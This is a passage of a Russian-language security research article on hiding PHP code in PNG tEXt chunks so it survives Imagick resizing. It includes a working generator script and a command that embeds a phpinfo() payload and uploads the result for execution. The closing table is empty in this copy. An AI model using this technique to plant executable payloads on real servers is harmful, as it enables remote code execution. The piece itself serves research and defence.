" Чанки [...] tEXt [...] используются для передачи текстовой информации, связанной с изображением [...]. Каждый из текстовых блоков содержит в качестве первого поля ключевое слово, которое идентифицирует тип информации, представленной текстовой строкой. Следующие ключевые слова предопределены и должны использоваться там, где это необходимо:
- Заголовок Краткий (одна строка) заголовок или надпись для изображения
- Автор Имя создателя изображения
- Описание Описание изображения (возможно, длинное)
- Авторское право Авторское уведомление
- Время создания Время создания исходного изображения
- Программное обеспечение Программное обеспечение, использованное для создания изображения
- Отказ от ответственности Юридическая оговорка
- Предупреждение Предупреждение о характере содержимого
- Источник Устройство, использованное для создания изображения
- Комментарий Различные комментарии; преобразование из
- Другие ключевые слова могут быть придуманы для других целей ".
Как мы видим, комментарии PNG, которые мы использовали для [Method n°1], представляют собой не что иное, как специальный предопределенный тип чанка tEXt. Особенно интересно заметить, что когда Imagick изменяет размер изображения, он фактически выполняет несколько действий над tEXt-кусками:
Стереть tEXt-фрагменты, помеченные как 'Комментарий'.
Переопределить значение следующих tEXt-фрагментов (или определить их, если они не существуют): date:create, date:modify, software, Thumb:
Сохраните исходное значение всех остальных tEXt-фрагментов (включая те, которые не содержат предопределенного ключевого слова).
Отсюда мы можем просто поместить нашу полезную нагрузку PHP в любые tEXt-фрагменты, которые не имеют типа 'Comment' и которые не перезаписываются Imagick. Ниже вы найдете очень простой скрипт, который будет принимать PNG изображение в качестве входного, вставлять произвольную PHP полезную нагрузку в tEXt чанк с тегом 'Synacktiv', и помещать полученный
PNG в выходной файл: payloads/generators/generate_tEXt_png.php
Код:
<?php
if(count($argv) != 4) exit("Usage $argv[0] <Input file> <PHP payload> <Output file>");
$input = $argv[1];
$_payload = $argv[2];
$output = $argv[3];
$imgck = new Imagick($input);
$imgck->setImageProperty("Synacktiv", $_payload);
$imgck->writeImage($output);
Давайте запустим скрипт:
Код:
$ php gen_tEXt.php 'nasa.png' '<?php phpinfo(); ?>' 'nasa.php'
Теперь мы можем загрузить полученный файл nasa.php, используя маршрут /fourth-part приложения. Когда мы запрашиваем изображение с измененным размером, мы видим, что наша полезная нагрузка действительно была выполнена, демонстрируя сохранение полезной нагрузки в процессе изменения размера изображения Imagick:
Заключение
Прежде чем завершить это исследование, вот таблица, в которой суммированы различные методы и сценарии, которые мы рассмотрели.| Без обработки | Сжатие PHP-GD | Изменение размера PHP-GD | Imagick изменение размера | |
| PNG комментарии | | | | |
| Сырая вставка | | | | |
| фрагмент PLTE | | | | |
| Чанк IDAT | | | | |
| блок текста | | | | |
Различные конфигурации, описанные в этой статье, позволили нам предоставить точную картину (без каламбура) различных методов контрабанды PHP, имеющихся в распоряжении злоумышленника. Эти методы могут использоваться, когда есть возможность заставить сервер интерпретировать файл изображения как PHP. Такая ситуация может возникать по разным причинам (например, из-за слабой проверки расширения или уязвимости включения локальных файлов) и чаще, чем можно было бы ожидать. В этом случае было бы опасно предполагать, что обработка изображений и преобразования могут защитить приложение от выполнения произвольных полезных нагрузок PHP.